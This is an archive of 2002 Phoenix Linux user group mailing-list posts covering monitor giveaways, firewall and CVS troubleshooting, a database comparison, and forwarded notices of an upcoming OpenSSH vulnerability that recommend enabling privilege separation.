NHVf8BG+YOR87OAQxXS7VtaB > =rRqv > -----END PGP SIGNATURE----- > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:16:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Hustis) Date: Mon, 24 Jun 2002 11:16:05 -0700 Subject: 15" Monitors available In-Reply-To: Message-ID: <5.1.0.14.0.20020624111452.026f8bb0@teltrax.com> I'm very interested in obtaining four or five of these. Should I contact you off the list, or are you going to set a date for pick up the way you did before? At 10:20 AM 06/24/2002 -0700, you wrote: >Silly me, I should have included monitors with the computers I was >selling/donating previously. Anywho, I've got about 47 bazillion 15" >monitors for your computing enjoyment. Say, $20 each? I might even give >a discount if you buy in bulk. ;-) If you're a non-profit, the same >rules apply as before with the computers. I'll need a receipt for the >monitors with the total price (even though you'll get them for free). >So stock up on monitors today! Hurry, while supplies last! Operators are >standing by... >~M > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:33:51 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Mon, 24 Jun 2002 11:33:51 -0700 Subject: Install Fest Leftovers Message-ID: <02062411335104.07972@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 OK - I have two meeses and a keyboard and two multiport hubs that I took home from the Install Fest. The owners can either claim them (I know who you are) or rest assured that they have found a good home. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRdmDysk3ywszI1FEQIS4ACgvcOP+2BpppZfUxTDM5ajsqxJYwkAniak uK4OiqqB4g+PwczG1TTkv5du =J8I2 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:44:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Mon, 24 Jun 2002 11:44:27 -0700 Subject: mail aliases, mailing lists and netscape mail client Message-ID: <3D17688B.1020907@esaravana.com> Hello, I have couple of mail aliases for my base e-mail address( linux@esaravana.com ). Eg, adrenaline@esaravana.com for my rock climbing group. I use appropriate alias to subscribe to different groups and receive mails. The problem comes when I post messages to the group. The mail goes back as my base e-mail address( linux@esaravna.com ), rather than as my aliased e-mail address( adrenaline@esaravana.com ) and gets rejected. Is there anyway I can add mail aliases to Netscape mail client and choose appropriately as I send mails. Or should I do anything on my mail server. I am running RedHat 7.1 with Sendmail as my smtp server. Sundar From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 18:50:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gilbert T. Gutierrez, Jr.) Date: Mon, 24 Jun 2002 11:50:01 -0700 Subject: IPCop In-Reply-To: <20020624105418.34bc7aff.snoogans@qwest.net> Message-ID: 1. Your cable may be bad. 2. You may be using a cross over cable instead of a standard ethernet cable. 3. You may be plugging into an uplink port instead of a standard port. 4. You may be plugging into a port that is shared with another port (often an uplink port and the port nearest to it are the same port and you cannot have something in both) Solution... If your plugging into an uplink port, use a cross over cable If you are plugging into a standard port use a standard ethernet cable. Gilbert -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert jorgenson Sent: Monday, June 24, 2002 10:54 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: IPCop no its not, i figured it wasn't lighting up because it wasn't configured right and wasn't sending anythign out so it didn't light up, what kind of solutions could there be to this problem On Mon, 24 Jun 2002 09:20:58 -0700 "Gilbert T. Gutierrez, Jr." wrote: > Is the cable connecting the firewall to the hub lighting up the port light > on the hub? I agree with Anthony, it sounds like a physical layer issue. > > Gilbert > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of robert > jorgenson > Sent: Sunday, June 23, 2002 11:00 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: IPCop > > > what do you mean? i have it set up like this > > internet --> gateway box --> firewall --> hub --> network > > is there something wrong with that that i dont know about? > > On Sun, 23 Jun 2002 19:50:25 -0700 > "tickticker" wrote: > > > you do have the green nic cat5 cable plugged into another rj45 jack? you > > may need a crossover cable for this. sounds like the physical layer > > possibly. > > > > anthony > > > > ----- Original Message ----- > > From: "robert jorgenson" > > To: > > Sent: Sunday, June 23, 2002 1:36 PM > > Subject: Re: IPCop > > > > > > > okay an update in progress ... i am very sure its something i am doing > > wrong now because i have tried two different NIC's and both of them work > > fine as the RED NIC but not the GREEN NIC. what happens is the red nic > works > > fine and my firewall gets internet but its not forwarding it out to the > rest > > of my network. the green NIC isn't even lit up in the back. what am i > doing > > wrong? i followed the instructions on thier website but it wont work =/ > > > > > > On Sun, 23 Jun 2002 01:05:08 -0700 > > > "robert jorgenson" wrote: > > > > > > > i was at the installfest today and installed IPCop on an extra box > that > > i had, im trying to figure out how i need to set it up, i have qwest's > vdsl > > which means that there is this gateway box sitting in our living room with > a > > TV cable in and a TV cable and ethernate cable out acting as a dhcp > server. > > I would assume i setup IPCop to get its ip from the gateway box and set it > > to act as a dhcp server for the rest of my network, however i am very new > to > > networking and i am not sure exactly if that will work or what i have to > do, > > any pointers in the right direction would be great :) Im reading the docs > on > > the IPCop website right now hopefully i will come up with something from > > there too. > > > > > > > > -Robert > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 19:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 24 Jun 2002 12:07:37 -0700 (PDT) Subject: 15" Monitors available In-Reply-To: <5.1.0.14.0.20020624111452.026f8bb0@teltrax.com> Message-ID: Give me some advance warning before you stop by and also let me know the number of monitors you'd like. For example, "I'll be by on Wednesday at 10AM to pick up 4 monitors." would be great, that way I can be where I need to be. The monitors are available at New Vision, located at 1920 E Broadway Rd. in Tempe. Thanks, ~M On Mon, 24 Jun 2002, Patrick Hustis wrote: > > I'm very interested in obtaining four or five of these. Should I contact > you off the list, or are you going to set a date for pick up the way you > did before? > > > > At 10:20 AM 06/24/2002 -0700, you wrote: > >Silly me, I should have included monitors with the computers I was > >selling/donating previously. Anywho, I've got about 47 bazillion 15" > >monitors for your computing enjoyment. Say, $20 each? I might even give > >a discount if you buy in bulk. ;-) If you're a non-profit, the same > >rules apply as before with the computers. I'll need a receipt for the > >monitors with the total price (even though you'll get them for free). > >So stock up on monitors today! Hurry, while supplies last! Operators are > >standing by... > >~M > > > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 19:23:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Mon, 24 Jun 2002 12:23:40 -0700 (PDT) Subject: 15" Monitors available Message-ID: <20020624192340.18713.qmail@web10604.mail.yahoo.com> Hey Matt: Did you say you were in Tempe? I wouldn't mind picking up a monitor for cheap... Where can I pick one up? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:20:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Mon, 24 Jun 2002 15:20:25 -0700 Subject: CVS via SSH issues Message-ID: <20020624152025.A27515@nadesico> Okay, maybe I'm doing something _completely_ wrong in here somewhere, but I'm experiencing problems doing a CVS checkout operation via SSH. Either CVS or SSH is hanging after checking out the last file in a module. Here's the scenario: [mondoshawan@nadesico:~]$ echo $CVSROOT :ext:mondoshawan@thing:/var/cvs [mondoshawan@nadesico:~]$ echo $CVS_RSH ssh [mondoshawan@nadesico:~]$ cvs co common mondoshawan@thing's password: U common/classes/srep/live/MsgTopicPostable.php U common/classes/srep/live/Nav.php (...ad infinitum...) U common/functions/session.php Just after dealing with that last file, it hangs. It just so happens that common/functions/session.php is the last file it needs to checkout. When I do the checkout locally on Thing, I don't have any problems. Additionally, other coworkers don't have this issue (both Mac OS X and Debian Linux), so I'm guessing it's an issue on my local machine. Any ideas? -- Thomas "Mondoshawan" Tate mondoshawan@tank.dyndns.org http://tank.webhop.org From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:22:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Mon, 24 Jun 2002 15:22:31 -0700 Subject: PostgreSQL versus MySQL Message-ID: <15639.39847.826426.684817@bela.interhack.net> To persons who have knowledge of both MySQL and PostgreSQL: Could someone characterize the highlights and differences, particularly regarding PostgreSQL? I've been working on a project where I suggested using MySQL, with which I am sufficiently familiar to just jump right in and start using it to design a database, tables, etc. However, I know utterly nothing about PostgreSQL, and the person I'm working for believes it would be a better choice for the project we're working on, and also doesn't mind the time it will take for me to come up to speed on it. No problem there, I'm always happy for someone to pay me to learn something new, but I also need to get a handle on it as quickly as possible. Any short bullet list of comparisons would be much appreciated. And lest I forget -- congratulations to PLUG on pulling off what was apparently a successful event this past weekend. I was not able to be there myself, but encouraged others to go. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:59:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Benjamin Bostow) Date: 24 Jun 2002 15:59:55 -0700 Subject: OpenSSL encryption Message-ID: <1024959596.2419.20.camel@localhost.localdomain> What is the strength of the encryption in OpenSSL and OpenSSH? Is there a way to limit it to 56-bit for export and not allow the 128-bit? Ben From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 22:28:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Mon, 24 Jun 2002 15:28:20 -0700 Subject: [Fwd: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability] Message-ID: <3D179D04.8090902@deru.com> For your SA'n enjoyment -------- Original Message -------- Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability Date: Mon, 24 Jun 2002 23:06:31 +0200 From: Markus Friedl Reply-To: openssh@openssh.com To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org References: <200206242100.g5OL0BLL019128@cvs.openbsd.org> On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > Date: Mon, 24 Jun 2002 15:00:10 -0600 > From: Theo de Raadt > Subject: Upcoming OpenSSH vulnerability > To: bugtraq@securityfocus.com > Cc: announce@openbsd.org > Cc: dsi@iss.net > Cc: misc@openbsd.org > > There is an upcoming OpenSSH vulnerability that we're working on with > ISS. Details will be published early next week. > > However, I can say that when OpenSSH's sshd(8) is running with priv > seperation, the bug cannot be exploited. > > OpenSSH 3.3p was released a few days ago, with various improvements > but in particular, it significantly improves the Linux and Solaris > support for priv sep. However, it is not yet perfect. Compression is > disabled on some systems, and the many varieties of PAM are causing > major headaches. > > However, everyone should update to OpenSSH 3.3 immediately, and enable > priv seperation in their ssh daemons, by setting this in your > /etc/ssh/sshd_config file: > > UsePrivilegeSeparation yes > > Depending on what your system is, privsep may break some ssh > functionality. However, with privsep turned on, you are immune from > at least one remote hole. Understand? > > 3.3 does not contain a fix for this upcoming bug. > > If priv seperation does not work on your operating system, you need to > work with your vendor so that we get patches to make it work on your > system. Our developers are swamped enough without trying to support > the myriad of PAM and other issues which exist in various systems. > You must call on your vendors to help us. > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > the daemon splits into two parts. A part containing about 2500 lines > of code remains as root, and the rest of the code is shoved into a > chroot-jail without any privs. This makes the daemon less vulnerable > to attack. > > We've been trying to warn vendors about 3.3 and the need for privsep, > but they really have not heeded our call for assistance. They have > basically ignored us. Some, like Alan Cox, even went further stating > that privsep was not being worked on because "Nobody provided any info > which proves the problem, and many people dont trust you theo" and > suggested I "might be feeding everyone a trojan" (I think I'll publish > that letter -- it is just so funny). HP's representative was > downright rude, but that is OK because Compaq is retiring him. Except > for Solar Designer, I think none of them has helped the OpenSSH > portable developers make privsep work better on their systems. > Apparently Solar Designer is the only person who understands the need > for this stuff. > > So, if vendors would JUMP and get it working better, and send us > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > which supports these systems better. So send patches by Thursday > night please. Then on Tuesday or Wednesday the complete bug report > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > exploitable. Clearly we cannot yet publish what the bug is, or > provide anyone with the real patch, but we can try to get maximum > deployement of privsep, and therefore make it hurt less when the > problem is published. > > So please push your vendor to get us maximally working privsep patches > as soon as possible! > > We've given most vendors since Friday last week until Thursday to get > privsep working well for you so that when the announcement comes out > next week their customers are immunized. That is nearly a full week > (but they have already wasted a weekend and a Monday). Really I think > this is the best we can hope to do (this thing will eventually leak, > at which point the details will be published). > > Customers can judge their vendors by how they respond to this issue. > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > On OpenBSD privsep works flawlessly, and I have reports that is also > true on NetBSD. All other systems appear to have minor or major > weaknesses when this code is running. > > (securityfocus postmaster; please post this through immediately, since > i have bcc'd over 30 other places..) _______________________________________________ openssh-unix-announce@mindrot.org mailing list http://www.mindrot.org/mailman/listinfo/openssh-unix-announce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:33:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Mon, 24 Jun 2002 16:33:10 -0700 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] Message-ID: <3D17AC36.8020104@deru.com> This is a multi-part message in MIME format. --------------080706000507070407060207 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit -------- Original Message -------- Subject: Re: [discuss] Upcoming OpenSSH vulnerability Date: Mon, 24 Jun 2002 15:42:46 -0600 From: Vincent Danen Reply-To: discuss@mandrakesecure.net Organization: Danen Consulting Services (www.danen.net) To: discuss@mandrakesecure.net References: On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > FYI... Updates are currently in the works. The vulnerability, as stated is not yet public. I am close to having openssh built for all supported platforms and just need to test them all now. > Date: Mon, 24 Jun 2002 23:06:31 +0200 > From: Markus Friedl > Reply-To: openssh@openssh.com > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > From: Theo de Raadt > > Subject: Upcoming OpenSSH vulnerability > > To: bugtraq@securityfocus.com > > Cc: announce@openbsd.org > > Cc: dsi@iss.net > > Cc: misc@openbsd.org > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > ISS. Details will be published early next week. > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > seperation, the bug cannot be exploited. > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > but in particular, it significantly improves the Linux and Solaris > > support for priv sep. However, it is not yet perfect. Compression is > > disabled on some systems, and the many varieties of PAM are causing > > major headaches. > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > priv seperation in their ssh daemons, by setting this in your > > /etc/ssh/sshd_config file: > > > > UsePrivilegeSeparation yes > > > > Depending on what your system is, privsep may break some ssh > > functionality. However, with privsep turned on, you are immune from > > at least one remote hole. Understand? > > > > 3.3 does not contain a fix for this upcoming bug. > > > > If priv seperation does not work on your operating system, you need to > > work with your vendor so that we get patches to make it work on your > > system. Our developers are swamped enough without trying to support > > the myriad of PAM and other issues which exist in various systems. > > You must call on your vendors to help us. > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > the daemon splits into two parts. A part containing about 2500 lines > > of code remains as root, and the rest of the code is shoved into a > > chroot-jail without any privs. This makes the daemon less vulnerable > > to attack. > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > but they really have not heeded our call for assistance. They have > > basically ignored us. Some, like Alan Cox, even went further stating > > that privsep was not being worked on because "Nobody provided any info > > which proves the problem, and many people dont trust you theo" and > > suggested I "might be feeding everyone a trojan" (I think I'll publish > > that letter -- it is just so funny). HP's representative was > > downright rude, but that is OK because Compaq is retiring him. Except > > for Solar Designer, I think none of them has helped the OpenSSH > > portable developers make privsep work better on their systems. > > Apparently Solar Designer is the only person who understands the need > > for this stuff. > > > > So, if vendors would JUMP and get it working better, and send us > > patches IMMEDIATELY, we can perhaps make a 3.3.1p release on Friday > > which supports these systems better. So send patches by Thursday > > night please. Then on Tuesday or Wednesday the complete bug report > > with patches (and exploits soon after I am sure) will hit BUGTRAQ. > > > > Let me repeat: even if the bug exists in a privsep'd sshd, it is not > > exploitable. Clearly we cannot yet publish what the bug is, or > > provide anyone with the real patch, but we can try to get maximum > > deployement of privsep, and therefore make it hurt less when the > > problem is published. > > > > So please push your vendor to get us maximally working privsep patches > > as soon as possible! > > > > We've given most vendors since Friday last week until Thursday to get > > privsep working well for you so that when the announcement comes out > > next week their customers are immunized. That is nearly a full week > > (but they have already wasted a weekend and a Monday). Really I think > > this is the best we can hope to do (this thing will eventually leak, > > at which point the details will be published). > > > > Customers can judge their vendors by how they respond to this issue. > > > > OpenBSD and NetBSD users should also update to OpenSSH 3.3 right away. > > On OpenBSD privsep works flawlessly, and I have reports that is also > > true on NetBSD. All other systems appear to have minor or major > > weaknesses when this code is running. > > > > (securityfocus postmaster; please post this through immediately, since > > i have bcc'd over 30 other places..) > _______________________________________________ > openssh-unix-announce@mindrot.org mailing list > http://www.mindrot.org/mailman/listinfo/openssh-unix-announce > > > > > For help, email discuss-help@mandrakesecure.net; to unsubscribe send a > message to discuss-unsubscribe@mandrakesecure.net. To visit MandrakeSecure, > go to http://www.mandrakesecure.net/. > -- MandrakeSoft Security; http://www.mandrakesecure.net/ "lynx -source http://www.freezer-burn.org/bios/vdanen.gpg | gpg --import" 1024D/FE6F2AFD 88D8 0D23 8D4B 3407 5BD7 66F9 2043 D0E5 FE6F 2AFD Current Linux kernel 2.4.18-6.10mdk uptime: 16 days 17 hours 58 minutes. -- Kevin O'Connor "People will be free to devote themselves to activities that are fun ... The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. --------------080706000507070407060207 Content-Type: application/pgp-signature; name="file:///tmp/nsmail.tmp" Content-Transfer-Encoding: base64 Content-Disposition: inline; filename="file:///tmp/nsmail.tmp" LS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS0KVmVyc2lvbjogR251UEcgdjEuMC43IChH TlUvTGludXgpCgppRDhEQlFFOUY1SldJRVBRNWY1dkt2MFJBanFNQUtDeFUydHRjblFpSURP cFRRZ3FqYURZMXpKSW1RQ2dzTnFtCnkxeUVkZnE5eHhlV21oY2RHUm01Y0pzPQo9SDg2dgot LS0tLUVORCBQR1AgU0lHTkFUVVJFLS0tLS0KCg== --------------080706000507070407060207-- From plug-discuss@lists.plug.phoenix.az.us Mon Jun 24 23:59:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Derek Neighbors) Date: Mon, 24 Jun 2002 18:59:21 -0500 (CDT) Subject: PostgreSQL versus MySQL In-Reply-To: <15639.39847.826426.684817@bela.interhack.net> Message-ID: Most MySQL issues I think have been fixed as of late with InnoDB, the things that used to hold it up (and still might) 1. Lack of refriential integrity (FK's) 2. No Transaction Support 3. Table Level Locking 4. No Triggers/Stored Procedures 5. Poor SQL92 Support (no db is SQL92 compliant, but some better than others) 6. No Subselects 7. No Unions 8. No concept of OID's or unique rows and the list goes on. Please note that if MySQL was to be used for things like dynamic websites that have a much higher read to write ratio, where table level locking is a plus not a minus. And where integrity is not nearly as important (not business transactional systems like G/L's and the likes) MySQL is/was a good choice. However the minute you step into business applications that heavy transaction updates and reporting, MySQL will/would nearly cripple you. Postgres is MUCH better suited to such tasks. However its far from perfect. The Free (as in libre) database to watch and use for transactional business applications is the GPL'd SAP-DB. If you havent investigated it you might want to. -Derek On Mon, 24 Jun 2002, Lynn David Newton wrote: > > To persons who have knowledge of both MySQL and > PostgreSQL: > > Could someone characterize the highlights and > differences, particularly regarding PostgreSQL? I've > been working on a project where I suggested using > MySQL, with which I am sufficiently familiar to just > jump right in and start using it to design a database, > tables, etc. However, I know utterly nothing about > PostgreSQL, and the person I'm working for believes it > would be a better choice for the project we're working > on, and also doesn't mind the time it will take for me > to come up to speed on it. No problem there, I'm always > happy for someone to pay me to learn something new, but > I also need to get a handle on it as quickly as > possible. > > Any short bullet list of comparisons would be much > appreciated. > > And lest I forget -- congratulations to PLUG on pulling > off what was apparently a successful event this past > weekend. I was not able to be there myself, but > encouraged others to go. > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:53:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 24 Jun 2002 20:53:43 -0400 Subject: Help getting experience References: <20020621162543.52195.qmail@web10602.mail.yahoo.com> <200206211109.49382.isaac.sparrow@visicomp.com> Message-ID: <3D17BF17.BC30AC5C@georgetoft.com> The sad thing is the programmer from the Big 5 Consulting Firm that we paid almost 7 figures to didn't know the difference either. George Isaac Sparrow wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Friday 21 June 2002 09:25 am, Alpha Zenon Sanchez wrote: > > > > BTW...my gut instinct tells me that the second example > > > > 'if (a.equals("something")){ > > > > ---instructions---- > > > > } > > > > will compile and work....I've seen this example > > before, > > but not sure why a.equals works rather than a == > > > > ===== > > Thanks, > > Alpha Zenon Sanchez > > > > "a.equls()" tests to see if the objects are equal. Two diff. objects are > equal. > "==" will tell you if two refrences point to the same object. > > String a = "foo" > String b = "foo" > > if (a.equals(b)) // true > > if (a == b) // false > > b = a > > if (a == b) // true > > Hope this helps. > - -- > - ------------------------------------------------- > Isaac Sparrow > Staff Engineer > VisiComp, Inc. > http://www.visicomp.com > > GnuPG Key Fingerprint: > 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 > Get my public key at: > http://www.concentric.net/~issparow > > 'Mounten' wird fuer drei Dinge benutzt: 'Aufsitzen' auf Pferde, 'einklinken' > von Festplatten in Dateisysteme, und, nun, 'besteigen' beim Sex. > (Christa Keil in a German posting: "Mounting is used for three things: > climbing on a horse, linking in a hard disk unit in data systems, and, well, > mounting during sex".) > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: NSA bad. Encryption good. > > iD8DBQE9E2vse3nv4WOXT0cRArERAJ446bZ0bYzp4rvP3abvhwgECo+PjACdGGmL > cY2XScj/BEnP6rGkL67HNng= > =lN7s > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 01:03:39 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 24 Jun 2002 21:03:39 -0400 Subject: Quick Reference cards in PDF Message-ID: <3D17C16B.CD32D522@georgetoft.com> http://www.quickreferences.yucom.be/quickrefs.htm -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 25 00:52:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Mon, 24 Jun 2002 17:52:08 -0700 Subject: [Fwd: Re: [discuss] Upcoming OpenSSH vulnerability] In-Reply-To: <3D17AC36.8020104@deru.com> References: <3D17AC36.8020104@deru.com> Message-ID: <20020625005208.GA31017@aries.evilmascot.com> I cringe at the thought of upgrading sshd again (seems like I *just* did it for something with versions >3.1 iirc), and this time we're also adding a new user and directory (for priv seperation). Why does god hate us so. Hmm, can any openbsd users confirm if sshd is installed and running by default? Last time I used OBSD was 2.8, and if I remember it DID have it installed and running but that was while ago. If this is the case, could this spell the end of the "running x years without a remote exploit"? -Kyle On Mon, Jun 24, 2002 at 04:33:10PM -0700, KevinO wrote: > > > -------- Original Message -------- > Subject: Re: [discuss] Upcoming OpenSSH vulnerability > Date: Mon, 24 Jun 2002 15:42:46 -0600 > From: Vincent Danen > Reply-To: discuss@mandrakesecure.net > Organization: Danen Consulting Services (www.danen.net) > To: discuss@mandrakesecure.net > References: > > > On Mon Jun 24, 2002 at 03:21:24PM -0600, Daniel Woods wrote: > > > FYI... > > Updates are currently in the works. The vulnerability, as stated is > not yet public. I am close to having openssh built for all supported > platforms and just need to test them all now. > > > Date: Mon, 24 Jun 2002 23:06:31 +0200 > > From: Markus Friedl > > Reply-To: openssh@openssh.com > > To: openssh-unix-announce@mindrot.org, openssh-unix-dev@mindrot.org > > Subject: [openssh-unix-announce] Re: Upcoming OpenSSH vulnerability > > > > > > On Mon, Jun 24, 2002 at 03:00:10PM -0600, Theo de Raadt wrote: > > > Date: Mon, 24 Jun 2002 15:00:10 -0600 > > > From: Theo de Raadt > > > Subject: Upcoming OpenSSH vulnerability > > > To: bugtraq@securityfocus.com > > > Cc: announce@openbsd.org > > > Cc: dsi@iss.net > > > Cc: misc@openbsd.org > > > > > > There is an upcoming OpenSSH vulnerability that we're working on with > > > ISS. Details will be published early next week. > > > > > > However, I can say that when OpenSSH's sshd(8) is running with priv > > > seperation, the bug cannot be exploited. > > > > > > OpenSSH 3.3p was released a few days ago, with various improvements > > > but in particular, it significantly improves the Linux and Solaris > > > support for priv sep. However, it is not yet perfect. Compression is > > > disabled on some systems, and the many varieties of PAM are causing > > > major headaches. > > > > > > However, everyone should update to OpenSSH 3.3 immediately, and enable > > > priv seperation in their ssh daemons, by setting this in your > > > /etc/ssh/sshd_config file: > > > > > > UsePrivilegeSeparation yes > > > > > > Depending on what your system is, privsep may break some ssh > > > functionality. However, with privsep turned on, you are immune from > > > at least one remote hole. Understand? > > > > > > 3.3 does not contain a fix for this upcoming bug. > > > > > > If priv seperation does not work on your operating system, you need to > > > work with your vendor so that we get patches to make it work on your > > > system. Our developers are swamped enough without trying to support > > > the myriad of PAM and other issues which exist in various systems. > > > You must call on your vendors to help us. > > > > > > Basically, OpenSSH sshd(8) is something like 27000 lines of code. A > > > lot of that runs as root. But when UsePrivilegeSeparation is enabled, > > > the daemon splits into two parts. A part containing about 2500 lines > > > of code remains as root, and the rest of the code is shoved into a > > > chroot-jail without any privs. This makes the daemon less vulnerable > > > to attack. > > > > > > We've been trying to warn vendors about 3.3 and the need for privsep, > > > but they really have not heeded our call for assistance. They have > > > basically ignored us. Some, like Alan Cox, even went further stating > > > that privsep was not being worked on because "Nobody provided any info > > > which proves the problem, 